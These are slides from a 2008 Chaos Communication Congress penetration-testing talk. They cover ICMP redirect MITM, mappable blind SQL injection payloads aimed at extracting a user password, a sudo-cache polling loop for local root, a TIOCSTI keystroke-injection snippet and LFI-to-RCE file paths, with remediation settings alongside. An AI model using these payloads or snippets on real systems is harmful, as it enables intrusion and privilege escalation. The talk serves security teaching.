25th Chaos Communication Congress - Nothing to hide

Tricks: makes you smile

A clever or ingenious device or expedient; adroit technique: the tricks of the trade.

Francesco `ascii` Ongaro <ascii@ush.it>

Tricks: makes you smile

A collection of engaging techniques, some unreleased and some perhaps forgotten, to make pentesting fun again. From layer 3 attacks that still work, to user interaction based exploits that aren't 'clickjacking', to local root privilege escalation without exploits and uncommon web application exploitation techniques.

Netphun: ICMP redirect
(l3attacks that works)

An ICMP redirect is a router's way of communicating that there is a better path out of this network or into another one than the one the host had chosen.

```
# echo test | nc 192.168.98.82 22
# tcpdump -nneqti eth0
C G1 192.168.99.35.54510 > 192.168.98.82.22: tcp 0 (DF)

G1 C 192.168.99.254 > 192.168.99.35: icmp: redirect
192.168.98.82 to host 192.168.99.1 [tos 0xc0]

C G2 192.168.99.35.54510 > 192.168.98.82.22: tcp 0 (DF)
```

http://linux-ip.net/html/routing-icmp.html

Netphun: ICMP redirect (l3attacks that works)

RFC 792: “Out of band” ICMP Redirect Message:

```
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
.---------------.---------------.-------------------------------.
|     Type      |     Code      |          Checksum             |
|---------------'---------------'-------------------------------|
|                   Gateway Internet Address                    |
|---------------------------------------------------------------|
|      Internet Header + 64 bits of Original Data Datagram      |
'---------------------------------------------------------------'
```

Netphun: ICMP redirect (l3attacks that works)

0-7 → Type 5

8-15 → Code

- 0 → Redirect for Network
- 1 → Redirect for Host
- 2 → Redirect for Type of Service and Network
- 3 → Redirect for Type of Service and Host

16-31 → Header Checksum

32 -61 → Gateway IP

96-127 → IP Header + 8Byte Original Datagram

http://en.wikipedia.org/wiki/ICMP_Redirect_Message
http://tools.ietf.org/html/rfc792 page 12
http://tools.ietf.org/html/rfc1122

Netphun: ICMP redirect (l3attacks that works)

- (Low cost, layer 3) DoS and MITM.

http://insecure.org/sploits/arp.games.html 1997

- Secure redirects → only accept ICMP redirects for gateways listed in the default gateway list.

http://www.security.iitk.ac.in/contents/workshops/iitkhack04/keynotes/ppt06.ppt

http://alor.antifork.org/talks/MITM-attacks.ppt (2002 VS 2004, LOL!)

- “Old” OS = no secure_redirects at all.

- Not showed in some userspace tools (route -n).
- Routing cache (ip route/ip route get 123/ip route flush cache).

Netphun: ICMP redirect (l3attacks that works)

Tools:

- hping3

```
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types
      --icmp-gw    set gateway address for ICMP redirect
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
```

- scapy
- irpas http://www.phenoelit-us.org/irpas/
- icmp_redir.c http://www.uinc.ru/articles/21/icmp_redir.c
- netwag http://www.laurentconstantin.com/en/netw/netwag/

Netphun: ICMP redirect (l3attacks that works)

Remediation plan:

- Firewalling.

- Network stack tuning.

```
/proc/sys/net/ipv4/conf/all/accept_redirects
/proc/sys/net/ipv4/conf/all/secure_redirects
/proc/sys/net/ipv4/conf/all/send_redirects
/proc/sys/net/ipv4/conf/default/accept_redirects
/proc/sys/net/ipv4/conf/default/secure_redirects
/proc/sys/net/ipv4/conf/default/send_redirects
```

```
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 1
net.ipv4.conf.default.send_redirects = 0
```

Netphun: ICMP redirect (l3attacks that works)

Remediation 2: Switch to IBM AS/400 (-;

For courious people:

net/ipv4/icmp.c → static void icmp_redirect()

static const struct icmp_control icmp_pointers[NR_ICMP_TYPES + 1]

Netfun: ICMP PMTU DoS (l3attacks that works)

Max MTU of the “Path” (route) is dinamically calculated by error ICMP packets.

- 64 bytes packets?

- Solaris min. MTU = 512 → antirez lkm.

http://archives.neohapsis.com/archives/bugtraq/2001-01/0231.html

- /proc/sys/net/ipv4/ip_no_pmtu_disc ... really?

Blind SQLi: Mappable method cause blind hurts too

```
`news` table         id|real_id|data
                  1 |348    |Bomb news
                  3 |349    |Sex news
                  7 |391    |Antrax news

`users` table     id|username|password
                  1 |Admin   |h£((B0y

news.jsp?reference=123 <-- SQLi
news.jsp?reference=' AND 1=0 OR 1=1 <-- first news
news.jsp?reference=' AND 1=0 OR 1=0 <-- news not found

news.jsp?reference=' AND 1=0 OR
case(first_char((select password from `users`)))
when(1)then(1)when(2)then(3)when(3)then(7)
```

IT'S MAGIC!!!

Blind SQLi: Mappable method CHARMAP tool

CHARMAP is a tool developed with the aim to implement data fetching using the technique exposed by Wisec, Mappable Blind SQL Injections, in a generic way.

http://www.ush.it/team/ascii/hack-charmap/
http://www.ush.it/team/ascii/hack-charmap/charmap_0.1.tar.gz

→ WTFPL v2 ←

Blind SQLi: Mappable method CHARMAP demo

DEMO TIME

User iteraction madness:
macos/sudo local kit

Default sudo setup = backdoor:

- 5 minute password caching.

- global session (not tied to a tty).

- sudo logs to /var/log/system.log (weak perms).

User iteraction madness: macos/sudo local kit

```
while [ 1 ]; do if [ "`(echo a | sudo
  -S id)2>&1 | grep "^uid=0" | wc
 -l`" == "1" ]; then echo ROOT; fi;
           sleep 5; done
```

```
           nc -l -p 7053
 xterm -e 'echo "Hello moron." && nc
        localhost 7053 -vvv'
```

User iteraction madness: macos/sudo local kit

Remediation plan:

```
Defaults:ALL !syslog
Defaults:ALL logfile=/var/log/secure.log

Defaults:ALL timestamp_timeout=0

Defaults:ALL tty_tickets
```

User iteraction madness: su/sudo arbitrary char injection

ioctl(TIOCSTI)

```
  char* payload = "id\nsudo -u root touch
/root/ciao123\necho 'hello'";
[..]
  if ((pid = fork()) == 0) {
[..]
      sleep (1);
      /* Keep stuffing characters into the keyboard
buffer... */
      for (i=0; (c = payload[i]) != '\0'; i++) {
          if (ioctl (0, TIOCSTI, &c) == -1) {
              perror ("ioctl() failed");
              return 1;
[..]
```

User iteraction madness:
su/sudo arbitrary char injection

Can't be fixed as it's a feature:

- http://lists.virus.org/debian-security-0407/msg00214.html
- http://www.redhat.com/archives/fedora-devel-list/2004-July/msg01314.html
- http://lists.virus.org/debian-security-0407/threads.html#00160

Summarizing:

- open fd 0 = other “context” (-;
- init scripts (non-interactive, fixable and fixed).
- sudo insecure defaults lead to local root.

User iteraction madness:
su/sudo arbitrary char injection

DEMO TIME

User iteraction madness:
what you see is not what you copy

Works in every `rich` browser tested
(FF, Opera, Safari, IE).

The clipboard is your enemy!

FUCK RICH TEXT, GO GO ASCII

User iteraction madness:
what you see is not what you copy

DEMO TIME

Web disservices: lazy admin cripples same origin policy

local.zzz.com same origin biohazard:

```
for NS in `dig +noall +answer NS tin.it | sed "s/\t/ /g;s/
*/ /g" | cut -d " " -f5`; do dig tin.it @$NS; done
```

Web disservices: lazy admin cripples same origin policy

```
# dig localhost.tin.it

; <<>> DiG 9.4.2 <<>> localhost.tin.it
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30807
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;localhost.tin.it.              IN      A

;; ANSWER SECTION:
localhost.tin.it.       251     IN      A       127.0.0.1

;; AUTHORITY SECTION:
tin.it.                 1516    IN      NS      dnsca.tin.it.
tin.it.                 1516    IN      NS      dns.tin.it.

;; ADDITIONAL SECTION:
dnsca.tin.it.           3505    IN      A       195.31.190.31
dns.tin.it.             3415    IN      A       194.243.154.62

;; Query time: 99 msec
;; SERVER: 192.168.0.1#53(192.168.0.1)
;; WHEN: Sun Jun 29 19:16:54 2008
;; MSG SIZE  rcvd: 136
```

Web disservices: lfi2rce the hax00r way

std logfile /var/log/vsftpd.log
session file /tmp/sess_1234
apache /proc/123/fd/123
apache /proc/self/fd/123
apache /proc/self/environ

http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/

Thanks

> ush.it <

teammates! s4tan, saidone, ..

friends! kuza55, wisec, ..

yrbas <3